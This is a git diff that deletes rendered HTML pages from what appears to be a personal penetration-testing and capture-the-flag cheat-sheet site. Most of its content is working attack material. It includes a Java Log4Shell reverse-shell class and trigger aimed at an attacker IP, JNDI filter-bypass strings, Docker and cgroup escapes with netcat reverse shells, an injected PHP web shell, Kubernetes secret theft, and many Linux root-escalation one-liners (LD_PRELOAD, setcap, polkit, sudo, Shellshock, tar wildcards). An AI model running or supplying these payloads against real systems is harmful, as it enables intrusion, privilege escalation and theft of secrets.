-
-public class Exploit {
-    static {
-        String host = "$ATTACKER_IP";
-        int port = 4711;
-        String cmd = "/bin/sh";
-        try {
-            Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
-            Socket s = new Socket(host, port);
-            InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
-            OutputStream po = p.getOutputStream(), so = s.getOutputStream();
-            while (!s.isClosed()) {
-                while (pi.available() > 0)
-                    so.write(pi.read());
-                while (pe.available() > 0)
-                    so.write(pe.read());
-                while (si.available() > 0)
-                    po.write(si.read());
-                so.flush();
-                po.flush();
-                Thread.sleep(50);
-                try {
-                    p.exitValue();
-                    break;
-                } catch (Exception e) {
-                }
-            }
-            p.destroy();
-            s.close();
-        } catch (Exception e) {
-        }
-    }
-}
-
- -
    -
  • Run the LDAP, HTTP and reverse shell
    • -
-
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://$ATTACKER_IP:8000/#Exploit"
-
- -
php -S 0.0.0.0:8000
-
- -
nc -lvnp 4449
-
- -
    -
  • Trigger via curl 'http://$TARGET:8983/solr/admin/cores?foo=$\{jndi:ldap://$ATTACKER_IP:1389/Exploit\}'
    • -
-

Detection

- -

Obfuscation

-
    -
  • Possible bypasses are as follows
    • -
-
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
-${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
-${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
-${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
-${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
-${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
-${${::-j}ndi:rmi://attackerendpoint.com/}
-
- -

Mitgation

- -
SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"
-10.10.90.21210.10.90.212
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/java/spring4shell.html b/build/exploit/java/spring4shell.html deleted file mode 100644 index 42caaf4..0000000 --- a/build/exploit/java/spring4shell.html +++ /dev/null @@ -1,197 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

CVE-2022-22965

-
    -
  • Mitre CVE details
    • -
  • Follow up to CVE-2010-1622 by circumventing the patch for the vulnerability
    • -
  • -

    RCE of *.jsp files through tomcat HTTP post request

    -
    • -
  • -

    Conditions

    -
      -
    • -
      -

      jdk9

      -
      -
      • -
    • Spring framework < 5.2, 5.2.0-19, 5.3.0-17
      • -
    • Apache tomcat
      • -
    • spring as WAR package
      • -
    • spring-webvmc or spring-webflux components of the spring framework
      • -
    -
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/level3_hypervisor/docker_sec/docker.html b/build/exploit/level3_hypervisor/docker_sec/docker.html deleted file mode 100644 index 04462a0..0000000 --- a/build/exploit/level3_hypervisor/docker_sec/docker.html +++ /dev/null @@ -1,419 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Docker Vulnerabilities

- -

Abusing Registry

-
    -
  • Registry Doc
    • -
  • Registry is a json API endpoint
    • -
  • Private registry added in /etc/docker/daemon.json
    • -
  • Can be found by nmap as a service
    • -
-

Enumeration

-
    -
  • General query
    • -
-
curl http://test.com:5000/v2/_catalog`
-
- -
    -
  • List tags
    • -
-
curl http://test.com:5000/v2/<REPO>/<APP>/tags/list
-
- -
    -
  • history section of the json object contains commands executed at build phase. May contain sensitive data like passwords.
    • -
-
curl http://test.com:5000/v2/<REPO>/<APP>/manifest/<TAG>
-
- -

Reversing Docker Images

- -
dive <IMAGE-ID>
-
- -

Uploading Images to Registry

-
    -
  • Ever image has a latest tag
    • -
  • Upload modified docker image as latest
    • -
  • Article
    • -
-

RCE via Exposed Docker Daemon

-
    -
  • Users inside the docker group may open tcp socket through docker
    • -
  • nmap -sV -p- <IP> -vv to find exposed tcp sockets via docker
    • -
  • Confirming via curl http://test.com:2375/version on open docker port
    • -
  • -

    Execute commands on socket - sh - docker -H tcp://test.com:2375 ps - docker -H tcp://test.com:2375 exec <container> <cmd> - docker -H tcp://$TARGET_IP:2375 run -it -v /:/mnt/host alpine:3.9 /bin/sh

    -
    • -
  • -

    root please

    -
    • -
-

Escape Container via Exposed Docker Daemon

-
    -
  • Looking for exposed docker sockets
    • -
-
find / -name "*sock"
-groups
-
- -
    -
  • Mount the host volume and chroot to it, need alpine image.
    • -
-
docker images
-docker run -v /:/mnt --rm -it alpine chroot /mnt sh
-
- -

or

-
docker run -v /:/host --rm -it <imageID> chroot /host/ bash
-
- -

Shared Namespaces

-
    -
  • Namespaces
    • -
  • Cgroups
    • -
  • -

    OverlayFS

    -
    • -
  • -

    Requires root inside the container

    -
    • -
  • -

    Execute command

    -
    • -
-
nsenter --target 1 --mount sh
-
- -

Misconfiguration

-
    -
  • Privileged container connect to the host directly, not through the docker engine
    • -
  • Execution of bins on the host from libs inside the container is possible
    • -
-
capsh --print
-
- -
    -
  • -

    man capabilities

    -
    • -
  • -

    PoC

    -
    • -
  • -

    Exploit and get a reverse shell to the host via

    -
    • -
-
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
-echo 1 > /tmp/cgrp/x/notify_on_release
-host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
-echo "$host_path/exploit" > /tmp/cgrp/release_agent
-echo '#!/bin/sh' > /exploit
-echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4711 >/tmp/f" >> /exploit
-chmod a+x /exploit
-sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
-
- -
    -
  • The file may appear outside the container on the host system
    • -
-

Check fdisk

-
    -
  • fdisk -l and lsblk, host bulk device may be exposed
    • -
  • Mount the device
    • -
-
mkdir /mnt/hostdev
-mount /dev/<hostVda> /mnt/hostdev
-
- -
    -
  • Check /dev as well !!! and mount device
    • -
-

Creating a Container from inside another container

-
    -
  • Needs root inside a container
    • -
  • Upload static curl
    • -
  • Check available images and containers
    • -
-
curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/containers/json
-curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/images/json
-
- -
    -
  • Inside the container as root
    • -
-
curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/create -d '{"Detach":true,"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"Image":"<imagename>:latest","HostConfig":{"Binds": ["/:/var/tmp"]},"Cmd":["sh", "-c", "echo <ssh-key> >> /var/tmp/root/.ssh/authorized_keys"]}'
-
- -
    -
  • Return value is the ID
    • -
  • Start a container
    • -
-
curl-amd64 -X POST -H "Content-Type:application/json" --unix-socket /var/run/docker.sock http://localhost/containers/<ID>/start
-
- -
    -
  • Login in to the host via ssh remotely or socat locally
    • -
-
socat - UNIX-CONNECT:/var/run/docker.sock
-POST /containers/<CONTAINERID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
-Host:
-Connection: Upgrade
-Upgrade: tcp
-
-HTTP/1.1 101 UPGRADED
-Content-Type: application/vnd.docker.raw-stream
-Connection: Upgrade
-Upgrade: tcp
-
- -

Escape through DB

-
    -
  • Login into DB
    • -
  • Create table
    • -
  • Inject PHP code
    • -
  • Select table content intoa file the user can read
    • -
  • Execute the file
    • -
-
create table h4x0r (pwn varchar(1024));
-insert into h4x0r (pwn) values ('<?php $cmd=$_GET[โ€œcmdโ€];system($cmd);?>');
-select '<?php $cmd=$_GET["cmd"];system($cmd);?>' INTO OUTFILE '/var/www/html/shell.php';
-
- -
    -
  • curl the webshell hon the exploited host
    • -
-
curl <host-IP>/shell.php?cmd=id
-
- -

Dirty c0w

-

https://github.com/dirtycow/dirtycow.github.io

-

runC

-

CVE-2019-5736

-

Securing a Container

-
    -
  • Least Privileges
    • -
  • Seccomp
    • -
  • Securing Registry via TLS
    • -
-

Checking if you are inside a container

-
    -
  • Low process count
    • -
-
ps aux
-
- -
    -
  • .dockerenv in /
    • -
-
cd / && ls -lah
-
- -
    -
  • cgroups contain docker names
    • -
-
pwd /proc/1
-cat cgroups
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/level3_hypervisor/kubernetes.html b/build/exploit/level3_hypervisor/kubernetes.html deleted file mode 100644 index 5090a02..0000000 --- a/build/exploit/level3_hypervisor/kubernetes.html +++ /dev/null @@ -1,250 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Kubernetes

- -

Account Token

-
    -
  • Snatch an account token from inside a pod
    • -
  • Use it via kubectl, watch out for authorizations and namespaces
    • -
-
kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify  --server=https://$TARGET_IP:6443 auth can-i --list
-kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify  --server=https://$TARGET_IP:6443 get namespaces
-
- -
    -
  • Save secrets from namespaces as yaml file
    • -
-
kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify  --server=https://$TARGET_IP:6443 get secrets -o yaml -n kube-system > kube-system.yml
-kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify  --server=https://$TARGET_IP:6443 get secrets -n kube-system
-
- -
    -
  • Specify secret
    • -
-
kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify  --server=https://$TARGET_IP:6443 get secrets flag -n kube-system -o yaml
-
- -

Privilege Escalation

- -
kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify  --server=https://$TARGET_IP:6443 get pods
-kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify  --server=https://$TARGET_IP:6443 get pod  <image> -o yaml
-kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify  --server=https://$TARGET_IP:6443 get nodes -o yaml
-
- -
    -
  • Use a found image to create the following yaml file
    • -
-
apiVersion: v1
-kind: Pod
-metadata:
-  name: attacking-pod
-spec:
-  containers:
-  - image: <image name in found containers/nodes section> 
-    name: <name of image in found containers/nodes section>
-    command: [ "/bin/sh", "-c", "--" ]
-    args: [ "while true; do sleep 30; done;" ]
-    volumeMounts:
-    - mountPath: /host
-      name: host
-  volumes:
-  - name: host
-    hostPath:
-      path: /
-      type: Directory
-
- -
    -
  • / of the node is mounted to /host inside the new pod
    • -
  • Create the pod via
    • -
-
kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify  --server=https://$TARGET_IP:6443 apply -f <filename.yaml>
-
- -
    -
  • Run an interactive session on the pod
    • -
-
kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify  --server=https://$TARGET_IP:6443 exec -it attacking-pod -- /bin/bash
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/level3_hypervisor/lxc.html b/build/exploit/level3_hypervisor/lxc.html deleted file mode 100644 index bbcd217..0000000 --- a/build/exploit/level3_hypervisor/lxc.html +++ /dev/null @@ -1,220 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

LXC

-

Privilege Escalation

-

Member of lxd Group

- -

Usage

-
    -
  • Clone and build
    • -
-
git clone https://github.com/saghul/lxd-alpine-builder.git
-cd lxd-alpine-builde && sudo && ./build alpine
-
- -
    -
  • Upload to target
    • -
  • Import alpine image
    • -
-
lxc image import ./alpine-v3.14-x86_64-20210920_2132.tar.gz --alias myimage
-
- -
    -
  • Prepare image
    • -
-
lxc image list
-lxc init myimage ignite -c security.privileged=true
-lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
-lxc start ignite
-lxc exec ignite /bin/sh
-
- -
    -
  • Host / is mounted at /mnt/root inside the container
    • -
  • root directory is at /mnt/root/root
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/level3_hypervisor/microk8s.html b/build/exploit/level3_hypervisor/microk8s.html deleted file mode 100644 index c76baa3..0000000 --- a/build/exploit/level3_hypervisor/microk8s.html +++ /dev/null @@ -1,216 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

MicroK8s

-

Usage

-
    -
  • Create pod.yaml configuration
    • -
-
apiVersion: v1
-kind: Pod
-metadata:
-  name: harry-podder
-spec:
-  containers:
-  - name: shell
-    image: localhost:47111/alpine
-    command:
-      - "/bin/bash"
-      - "-c"
-      - "sleep 10000"
-    volumeMounts:
-      - name: root
-        mountPath: /mnt/root
-  volumes:
-  - name: root
-    hostPath:
-      path: /
-      type: Directory
-
- -
    -
  • Deploy the pod
    • -
-
microk8s kubectl apply -f pod.yaml
-
- -
    -
  • Run the Pod
    • -
-
microk8s kubectl exec -it harry-podder -- /bin/bash
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/linux/capabilities.html b/build/exploit/linux/capabilities.html deleted file mode 100644 index f4117ad..0000000 --- a/build/exploit/linux/capabilities.html +++ /dev/null @@ -1,194 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Capabilities

- -

Usage

-
    -
  • Find capabilities
    • -
-
getcap -r  / 2>/dev/null
-
- -
    -
  • cap_setuid through /bin/perl
    • -
-
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh"'
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/linux/dirty_pipe/dirty_pipe.html b/build/exploit/linux/dirty_pipe/dirty_pipe.html deleted file mode 100644 index d3605ff..0000000 --- a/build/exploit/linux/dirty_pipe/dirty_pipe.html +++ /dev/null @@ -1,199 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

CVE-2022-0847

-
    -
  • -

    Max Kellerman's post

    -
    • -
  • -

    5.8 < Vulnerable kernels < 5.10.102

    -
    • -
  • If a file can be read, it can be written also.
    • -
-

Usage

-
    -
  • splice(2) moves data between files and through pipes without copying between kernel and user adress space
    • -
  • Anonymous pipes permissions are not checked
      -
    • Read only permissions on pages do not matter on a pipe level
      • -
    -
    • -
  • Splice is putting data into the pipe and malicious data afterwards in the same one to overwrite the mem page
    • -
  • PIPE_BUF_FLAG_CAN_MERGE flag has to be activated in order to write back to a file
    • -
  • Works as long as there is an offset to start of a page in the beginning of the writing
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/linux/exiftool.html b/build/exploit/linux/exiftool.html deleted file mode 100644 index 6fd6974..0000000 --- a/build/exploit/linux/exiftool.html +++ /dev/null @@ -1,191 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

CVE-2021-22204

-
    -
  • Craft an a payload and execute it via exiftool
    • -
  • Article
    • -
-

Usage

-
    -
  • Payload is (metadata "\c${system('id')};")
    • -
-
sudo apt install djvulibre-bin
-bzz payload payload.bzz
-djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/linux/groups.html b/build/exploit/linux/groups.html deleted file mode 100644 index bb5bcb5..0000000 --- a/build/exploit/linux/groups.html +++ /dev/null @@ -1,179 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Groups

- - -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/linux/ld_preload.html b/build/exploit/linux/ld_preload.html deleted file mode 100644 index 417d451..0000000 --- a/build/exploit/linux/ld_preload.html +++ /dev/null @@ -1,249 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

LD_PRELOAD

-
    -
  • -

    Preload libs and do interpositioning of functions.

    -
    • -
  • -

    man ld.so

    -
    • -
  • man dlsym, dlsym() calls the original function
    • -
-

Example 1

-
    -
  • Interpositioning of _init()
    • -
-
#include <stdio.h>
-#include <sys/types.h>
-#include <stdlib.h>
-
-void _init() {
-    unsetenv("LD_PRELOAD");
-    setgid(0);
-    setuid(0);
-    system("/bin/bash");
-}
-
- -
    -
  • gcc -fPIC -shared -o lib.so lib.c -nostartfiles
    • -
  • sudo LD_PRELOAD=lib.so apache2
    • -
  • $ id
    • -
-

Example 2

-
    -
  • Interpositioning of write()
    • -
-
#include <stdio.h>
-#include <unistd.h>
-#include <dlfcn.h> // Contains _GNU_SOURCE from man dlsym
-#include <string.h>
-ssize_t write(int fildes, const void *buf, size_t nbytes)
-{
-    ssize_t result;
-    do the thing;
-    return result;
-}
-
- -
    -
  • In case the symbol lookup returns an error libdl is linked
    • -
-
gcc -ldl interpositioning.c -fPIC -shared -D _GNU_SOURCE -o interpositioning.so -ldl` 
-
- -

Preloading

-
    -
  • Dependent on the installation status of lib32 and/or lib64 and various packages the path of LD_PRELOAD has to be set differently. These may look as follows
    • -
  • LD_PRELOAD=./interpositioning.so <binary> -or
    • -
  • export LD_PRELOAD=$(pwd)/interpositioning.so -or
    • -
  • Global preload via /etc/ld.so.preload -or
    • -
  • -

    Change the preload path via LD_PRELOAD_PATH

    -
    • -
  • -

    Verify via ldd <somebinary>

    -
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/linux/nfs_rootsquash.html b/build/exploit/linux/nfs_rootsquash.html deleted file mode 100644 index 7c503d6..0000000 --- a/build/exploit/linux/nfs_rootsquash.html +++ /dev/null @@ -1,203 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

NFS RootSquash

-
    -
  • hacktricks
    • -
  • no_root_squash has to be as an option on the NFS device
    • -
-

Usage

-
    -
  • showmount -e <target-IP>
    • -
  • -

    mkdir /tmp/net_volume

    -
    • -
  • -

    Connect to NFS share

    -
    • -
-
mount -o rw,vers=2 <nfsShare-IP>:/tmp /tmp/net_volume
-
- -
    -
  • Create root shell inside the dir of the share
    • -
-
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/net_volume/shell.c
-gcc /tmp/net_volume/shell.c -o /tmp/net_volume/shell
-chmod +s /tmp/net_volume/shell
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/linux/overlayfs.html b/build/exploit/linux/overlayfs.html deleted file mode 100644 index 89d6f5e..0000000 --- a/build/exploit/linux/overlayfs.html +++ /dev/null @@ -1,180 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

CVE-2021-3493

-
    -
  • Kernel module, enables aggregation of mountpoints in a single tree of which parts are writeable others are not
    • -
  • Exploit
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/linux/pkexec/CVE_2021_4034.html b/build/exploit/linux/pkexec/CVE_2021_4034.html deleted file mode 100644 index d997e3e..0000000 --- a/build/exploit/linux/pkexec/CVE_2021_4034.html +++ /dev/null @@ -1,187 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

CVE-2021-4032

-
    -
  • Qualys put it in the open
    • -
  • -

    arthepsy's exploit

    -
    • -
  • -

    Arg counting starts at 1 inside pkexec logic

    -
    • -
  • execve( "/usr/binpkexec", (char **){NULL}, env) puts NULL into argc[1]
    • -
  • The value behind NULL can be overwritten, which is the first env param
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/linux/polkit.html b/build/exploit/linux/polkit.html deleted file mode 100644 index 06a90d5..0000000 --- a/build/exploit/linux/polkit.html +++ /dev/null @@ -1,236 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

CVE-2021-3560

-
    -
  • Exploit < 0.105-26ubuntu1.1
    • -
-

Racing Condition

-
    -
  • Request creation of account via dbus message and pkexec. sleep time is variable.
    • -
-
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:user1 string:"New Account" int32:1 & sleep 0.005s; kill $!
-
- -
* Create password via `openssl passwd -6 -salt salt password123`
-
- -
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$salt$cevuzTZ/QBjzuZG0/ebEeedmcTnhyM8ITUu8K032Cp2XvIibq7voqYagm18bwpLBqrg/l/l6YxTmKKibJz5r10' string:'New Password' & sleep 0.005s; kill $!
-
- -
    -
  • -

    Request is killed after polkits receives it

    -
    • -
  • -

    Polkit requests uid of user who sent the message, which has been deleted

    -
    • -
  • Error will be thrown
    • -
  • Uid turns to root afterwards
    • -
  • -

    Request succeeds

    -
    • -
  • -

    su user1 and sudo -s

    -
    • -
-

Priv Esc with Two Sessions

-
    -
  • User has to be member of group sudo
    • -
  • Open two ssh sessions
    • -
  • In session one check the PID
    • -
-
echo $$
-
- -
    -
  • In the other session
    • -
-
pkttyagent --process <PID of s1>
-
- -
    -
  • In session one do
    • -
-
pkexec "/bin/bash"
-
- -
    -
  • Enter password in session two
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/linux/racing_conditions.html b/build/exploit/linux/racing_conditions.html deleted file mode 100644 index 33c2225..0000000 --- a/build/exploit/linux/racing_conditions.html +++ /dev/null @@ -1,205 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Racing Conditions

-

Read files from another user

-
    -
  • The file of interest needs to be opened by a process which is a suid binary (here named read_reds) and creates a file descriptor to it
    • -
  • The file of intereset is called root_credentials and is owned by root
    • -
  • Create a file
    • -
-
touch yo
-
- - -
gcc gistfile.c -o rename_file
-
- -
    -
  • Inside session 1 start the binary
    • -
-
./rename_file yo root_credentials
-
- -
    -
  • Inside session to try to read root_credentials until it succeeds
    • -
-
./read_creds root_credentials
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/linux/setcap.html b/build/exploit/linux/setcap.html deleted file mode 100644 index bf7e50e..0000000 --- a/build/exploit/linux/setcap.html +++ /dev/null @@ -1,190 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

setcap

- -

Usage

-
    -
  • If there is an S-bit or sudo on setcap do the following. Copy python binary and
    • -
-
setcap cap_setuid+ep /absolute/path/to/copied/python3 
-python3 -c "import os; os.setuid(0); os.system('/bin/bash')"
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/linux/shared_object_injection.html b/build/exploit/linux/shared_object_injection.html deleted file mode 100644 index e6a27d6..0000000 --- a/build/exploit/linux/shared_object_injection.html +++ /dev/null @@ -1,206 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Shared Object Injection

- -
strace <binary> 2>&1 | grep -i -E "open|access|no such file"
-
- -

Example

-
#include <stdio.h>
-#include <stdlib.h>
-
-static void inject ( ) __attribute__ ( (constructor) );
-
-void inject ( ) {
-    system ( "cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p" );
-}
-
- -
    -
  • gcc -fPIC -shared -o ~/.config/lib.so ~/.config/lib.c
    • -
  • Run binary using the lib
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/linux/shell_shock.html b/build/exploit/linux/shell_shock.html deleted file mode 100644 index b404b67..0000000 --- a/build/exploit/linux/shell_shock.html +++ /dev/null @@ -1,181 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Shell Shock

-
    -
  • Check target via
    • -
-
curl -A "() { ignored; }; echo Content-Type: text/plain ; echo  ; echo ; /usr/bin/id" http://<target-IP>/cgi-bin/test/test.cgi
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/linux/sudo/CVE_2019_14287.html b/build/exploit/linux/sudo/CVE_2019_14287.html deleted file mode 100644 index 36d4374..0000000 --- a/build/exploit/linux/sudo/CVE_2019_14287.html +++ /dev/null @@ -1,188 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

CVE-2019-14287

-
    -
  • Versions < 1.8.28
    • -
-

Usage

-
    -
  • Integer overflow with resulting root status.
    • -
-
sudo -u#-1 <app>
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/linux/sudo/CVE_2019_18634.html b/build/exploit/linux/sudo/CVE_2019_18634.html deleted file mode 100644 index 875b387..0000000 --- a/build/exploit/linux/sudo/CVE_2019_18634.html +++ /dev/null @@ -1,180 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Sudo pwnge with pwfeedback()

- - -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/linux/sudo/baron_samedit.html b/build/exploit/linux/sudo/baron_samedit.html deleted file mode 100644 index d5161f9..0000000 --- a/build/exploit/linux/sudo/baron_samedit.html +++ /dev/null @@ -1,191 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

CVE-2021-3156 Baron Samedit

- -
sudoedit -s '\' $(python -c "print('\x41' * 10000)")
-
- -
    -
  • Defaults to try
    • -
-
./brute.sh 90 120 50 70 150 300
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/linux/sudo/tokens.html b/build/exploit/linux/sudo/tokens.html deleted file mode 100644 index 2c65c84..0000000 --- a/build/exploit/linux/sudo/tokens.html +++ /dev/null @@ -1,195 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Reusing Sudo Token

-
    -
  • Reuse sudo token of currently logged in user
    • -
  • -

    Hacktricks' site

    -
    • -
  • -

    ptrace has to be fully enabled

    -
    • -
-
cat /proc/sys/kernel/yama/ptrace_scope
-0
-
- -
    -
  • sudo has to be triggered the last 15 minutes, check ps wuax
    • -
  • gdb has to be installed
    • -
  • One must be logged in as the same user which should be owned
    • -
  • Use nongiach's exploit
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/linux/wildard_exploitation.html b/build/exploit/linux/wildard_exploitation.html deleted file mode 100644 index deb729d..0000000 --- a/build/exploit/linux/wildard_exploitation.html +++ /dev/null @@ -1,204 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Wildcard usage

- -

Another Example

-
    -
  • cronjob gets backup data from /var/www/html via tar cf backup.tar *. The reverse shell and the parameters need to be files in this directory to get called by tar and be executed.
    • -
-
echo "mkfifo /tmp/oytqnhq; nc <IP> <PORT> 0</tmp/oytqnhq | /bin/sh >/tmp/oytqnhq 2>&1; rm /tmp/oytqnhq" > shell.sh
-echo "" > "--checkpoint-action=exec=sh shell.sh"
-echo "" > "--checkpoint=1"
-
- -

or

-
echo "mkfifo /tmp/oytqnhq; nc <IP> <PORT> 0</tmp/oytqnhq | /bin/sh >/tmp/oytqnhq 2>&1; rm /tmp/oytqnhq" > /var/www/html/shell.sh
-touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
-touch "/var/www/html/--checkpoint=1"
-
- -

touched Filename Options

-
    -
  • Give full permissions on all the files
    • -
-
touch './"";$(chmod 777 *)'
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/network/mac_spoofing.html b/build/exploit/network/mac_spoofing.html deleted file mode 100644 index aec84bc..0000000 --- a/build/exploit/network/mac_spoofing.html +++ /dev/null @@ -1,182 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

MAC Spoofing

-
macof -i <interface>
-
- -

or

-
ettercap -T -i <interface> -P rand_flood -q -w file.pcap
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/padding/padbuster.html b/build/exploit/padding/padbuster.html deleted file mode 100644 index a5a8b45..0000000 --- a/build/exploit/padding/padbuster.html +++ /dev/null @@ -1,196 +0,0 @@ - - -
- - - - - - - - - - -
